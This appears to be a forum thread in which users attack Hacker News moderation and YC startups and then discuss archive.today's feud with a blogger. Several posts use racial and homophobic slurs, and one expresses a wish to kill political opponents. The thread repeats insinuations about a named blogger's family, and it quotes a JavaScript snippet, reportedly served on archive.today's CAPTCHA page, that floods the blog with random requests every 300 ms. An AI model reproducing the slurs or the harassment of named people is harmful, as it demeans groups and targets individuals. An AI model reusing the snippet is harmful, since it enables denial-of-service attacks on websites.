Hacker News - It's not for hackers and it's hardly news.

[INDEED]

it's still miles better than other hellholes I've found.

It's the worst tech forum, except for all the others.

Ironic that VCs will invest is the most hideous, user-hostile shit, but when it comes to their own forum it's straight from 2005.

 

[emergenigger]

>AI slop articles and political articles dominate the site
>disagree *twice*
>shadowbanned for wrongthink

I'm honestly not sure what I expected given YN being a liberal circlejerk.
Unironically the farms consitute a better tech forum than hackernews.

 

[General Zigger]

shadowbanned for wrongthink

Even on articles where I have direct subject matter experience if I post something that goes against the techie-leftist hivemind my account gets killed. Something about forums with a karma score make them turn into cesspools.

 

[Dante Alighieri]

Something about forums with a karma score make them turn into cesspools.

If it can be used to control discourse it will be used to control discourse by malicious actors.

 

[Cherenkovblue]

Even on articles where I have direct subject matter experience if I post something that goes against the techie-leftist hivemind my account gets killed. Something about forums with a karma score make them turn into cesspools.

More like "something about forums run by and for corporate interests turns them into cesspools". Anything that goes against the class interest of the vulture-capitalists at YCombinator, or the fraudsters they gamble on, will be removed from Honker News for Criminal Contempt of the Big-Top Business Model.

 

[Zorak Prison Pod]

Shadowbanning is so fucking gay. Just delete my account like a man. Pussy nerd faggots.

I don't think even Reddit shadowbans. HN is gayer than reddit, which I didn't think I was possible.

 

[UERISIMILITUDO]

More like "something about forums run by and for corporate interests turns them into cesspools". Anything that goes against the class interest of the vulture-capitalists at YCombinator, or the fraudsters they gamble on, will be removed from Honker News for Criminal Contempt of the Big-Top Business Model.

My favourite part is when dang comes in to argue that they don't censor or moderate in support of Ycombinator, even if it looks exactly like that.

I don't think even Reddit shadowbans.

I don't believe they created it, but no, they've bragged about how effective it is. I could be confusing them with other scum, but I'm fairly certain I'm not.

 

[teriyakiburns]

I don't think even Reddit shadowbans.

It absolutely does. There's still a regular beat of mods telling people their accounts are shadow-banned and to speak to the admins about it.

 

[General Zigger]

My favourite part is when dang comes in to argue that they don't censor or moderate in support of Ycombinator, even if it looks exactly like that.

They not only absolutely do, but the site is set up so you can't talk bad about YC startups in the first place. When I was younger and far more retarded (debatable) I applied for one of those "XYZ is looking to hire" posts they make for their startups. I got screwed around for about a month with this startup guy wanting to interview me, then constantly pushing back the interview to another day. I saw they posted another "XYZ is looking to hire" posts, but then I realized you can't comment on those posts to warn other naive fools to avoid them.

 

[MerelyAPlateOfSpaghetti]

They not only absolutely do, but the site is set up so you can't talk bad about YC startups in the first place. When I was younger and far more retarded (debatable) I applied for one of those "XYZ is looking to hire" posts they make for their startups. I got screwed around for about a month with this startup guy wanting to interview me, then constantly pushing back the interview to another day. I saw they posted another "XYZ is looking to hire" posts, but then I realized you can't comment on those posts to warn other naive fools to avoid them.

I don't remember the name, but I keep seeing the same company constantly posting about hiring, over the course of months. If that doesn't prove it's a meatgrinder startup, I don't know what does.

 

[UERISIMILITUDO]

I don't remember the name, but I keep seeing the same company constantly posting about hiring, over the course of months. If that doesn't prove it's a meatgrinder startup, I don't know what does.

Sorry, but this reply chain has been moved to the bottom where no one will see it.

 

[Itchy Hemorrhoids]

They not only absolutely do, but the site is set up so you can't talk bad about YC startups in the first place. When I was younger and far more retarded (debatable) I applied for one of those "XYZ is looking to hire" posts they make for their startups. I got screwed around for about a month with this startup guy wanting to interview me, then constantly pushing back the interview to another day. I saw they posted another "XYZ is looking to hire" posts, but then I realized you can't comment on those posts to warn other naive fools to avoid them.

they didn’t want to hire you that’s why they reposted the position. Take a hint nigga.

 

[General Zigger]

they didn’t want to hire you

I meant I saw their hiring post a year later, I'm pretty sure @MerelyAPlateOfSpaghetti and I might even be talking about the same startup. And with how they kept making fake excuses at the last minute to push back the interview I'm pretty sure it was one of those scams to claim they couldn't find anyone so we need to import more jeets (at 1/6th the wage)

 

[306h4Ge5eJUJ]

I meant I saw their hiring post a year later, I'm pretty sure @MerelyAPlateOfSpaghetti and I might even be talking about the same startup. And with how they kept making fake excuses at the last minute to push back the interview I'm pretty sure it was one of those scams to claim they couldn't find anyone so we need to import more jeets (at 1/6th the wage)

Some companies also put out fake job ads to make it look like they're doing well financially (since lots of open positions imply the company is expanding). I don't know how much sense that makes for a startup though.

 

[teriyakiburns]

Some companies also put out fake job ads to make it look like they're doing well financially (since lots of open positions imply the company is expanding). I don't know how much sense that makes for a startup though.

They might be trying to attract venture capital. A great many startups build the assumption of VC investment into their financial planning.

 

[Canard]

They might be trying to attract venture capital. A great many startups build the assumption of VC investment into their financial planning.

I would even say most of them are so that at least someone remembers that their company exists in first place. And someone might even accidentally check what they sell.

 

[HootersMcBoobies]

I recently found out about about an article called The Great Feminization by Helen Andrews:

https://www.compactmag.com/article/the-great-feminization/ / https://archive.is/1KPLi

I was curious if it had been submitted to Orange Reddit and, of course, it was flagged. Still has some absolutely insane comments preserved in there.

https://news.ycombinator.com/item?id=45614857 / https://ghostarchive.org/archive/T0TAx



The article is kinda short, and I think she does a better job of explaining her point in this interview:

The HN thread is just filled with what you'd expect: lot's of insane tranny/blank slate/gender is a construct total nonsense. It's not addressing any of Helen Andrew's points at all because these people immediately start off by arguing there is little to no difference in biological sex. The conversation can't even move on from that most basic point.

 

[UERISIMILITUDO]

Still has some absolutely insane comments preserved in there.

I really just want to kill these motherfuckers already, so society can return to normalcy.

Anyway, I've become aware of some fascinating new drama recently:
archive.today is directing a DDOS attack against my blog (archive) (archive)

I'll try to be brief. Apparently, archive.is is including JavaScript which attacks this person's website:

All users encountering archive.today’s CAPTCHA page currently load and execute the following Javascript:

setInterval(function() {
            fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);

This has, apparently, happened because said person wrote an article containing the dox of the owner of archive.is. I checked a random archive page, and didn't find this JavaScript fragment. Edit: I misread that earlier. I've checked more carefully, and it is loaded in the captcha page.

The fucker bragged about using neural network nonsense to write a legal rebuttal too.

This is being discussed on Lobsters right now:
https://lobste.rs/s/z0mdor/archive_today_is_directing_ddos_attack (archive) (archive)

Remember to use multiple archives when discussing this particular drama. The archive.is archive of the blog is already behaving strangely.

It's such a shame that I wasn't subscribed to the archive.is Tumblr RSS feed, because it recently updated for the first time in two years:
https://archive-is.tumblr.com (archive)

I can't tell if this was written with some neural network nonsense too, but there are certain aspects that make me wonder.

Ladies and gentlemen,

In the autumn of 2025, I published a subpoena received from the Federal Bureau of Investigation.

Since that day, I have been asked time and again: “And what happens next?”

Well, allow me to tell you.

I published that subpoena as an act of responsible disclosure. I did not maintain a so-called “canary page” - the kind some operators use to signal they remain free from legal gag orders. My circumstances were such that I was far removed from jurisdictions where such orders carry immediate, enforceable weight. Moreover, my site was never prominent enough to attract a dedicated cadre of volunteers who might vigilantly monitor such a page for changes. Thus, I resolved upon a simple principle: should any authority send me a legal instrument, I would publish it forthwith. And that is precisely what transpired.

I confess, I anticipated interest from no more than a handful of crypto-anarchists - the very same individuals who had previously urged me to implement a canonical canary page, yet who offered no commitment to actually watch over it.

Imagine my surprise, then, when the matter spilled into the mainstream news and reached million eyes.

But let us be clear: these were not news reports in any genuine sense. The standard refrain read, “We have reached out to the site’s operator and will update this story upon receiving a response.” Yet no journalist ever contacted us (only exception is Meduza, asking for an interview and a bigger article later). This was not investigative journalism; it was dissemination - pure and simple. A prepackaged narrative, delivered to newsrooms with the polite request: “Dear comrades, here is the truth - please publish it.”

Curiously, every one of these ersatz “news” pieces prominently cited a two-year-old blog post by a certain Jani Patokallio as its authoritative source - a rather odd choice, given that it was merely a personal blog entry by an unaffiliated third party. One might charitably argue it was a piece of enduring open-source intelligence. Very well, let us grant that. But then, why do nearly all the links within that “investigation” point exclusively to blog.archive.today? Why not cite the original sources directly? And more tellingly, there exist at least five other substantial OSINT analyses concerning archive.today. Why, then, did every journalist - seemingly in lockstep - select this one particular post? Unless, of course, they were not writing at all, but merely copying and pasting a ready-made text.

This raises a more troubling possibility: what if that link to the old blog post was not a citation, but a SEO backlink? What if Mr. Patokallio was not a passive observer, but the very author of the seed?

First of all, he had already attempted to promoute that very blog post in the media two years ago. On that prior occasion, it found a home only at Boing Boing. The second try achieved far wider circulation.

A cursory AI-groking into Mr. Patokallio’s background reveals a man no stranger to the shadowed corridors of media manipulation. He was instrumental in repackaging community-written content from WikiTravel into commercially published Lonely Planet guides under his own editorial imprint.

But that is merely the beginning.

The Patokallio family presents a profile of considerable geopolitical entanglement. His brother, Mikko Patokallio, serves as Senior Manager for Ukraine at the Crisis Management Initiative (CMI), a Finnish NGO deeply involved in conflict mediation and Eurasian affairs.

Their father, Pasi Patokallio, is a career diplomat who has served as ambassador to Israel, Canada, and Australia. He is also a noted critic of the Ottawa Treaty banning anti-personnel landmines, and his advocacy appears to have borne fruit: Finland withdrew from the treaty recently, paving the way for the mining of its 2,000-miles eastern border. He wrote an autobiography modestly titled ‘Me, guns and the world’

As for the family name itself - Patokallio - it was coined and officially registered in 1944, a year of profound realignment for Finland, as the nation shifted its wartime allegiance. In Finland, surnames can indeed be “registered” like domain names, securing exclusive rights to their use. One cannot help but wonder what prompted the adoption of a new name at such a pivotal historical moment.

Thus, we are not dealing with a mere hobbyist blogger who “saw a neat website and wrote a post,” as Jani Patokallio once claimed on Hacker News. This is the work of a member of a family with a shady Nazi-era story and deep roots in arms export, the Ukrainian conflict and information operations (Jani’s profile resembles more of Hunter Biden than an IT blogger) - a long-term, systemic interest in the archive project that may well prove more consequential, and perhaps more dangerous, than the attention of either the proprietor of luxuretv.com with his fake French child porn alliances or even the FBI itself.

I've not included quite a bit here. This whole thing seems gay. In fact, the owner of archive.is is, from what I can tell, threatening to make a dating app for homosexuals named after this person's grandfather.

As always, kiwis, .

 

[neger psykolog]

hreatening to make a dating app for homosexuals named after this person's grandfather

You can't just mention this and not drop the domain name!
How am I going to sign up?

 

[WarJams]

His grandfather is named Christian Mingle?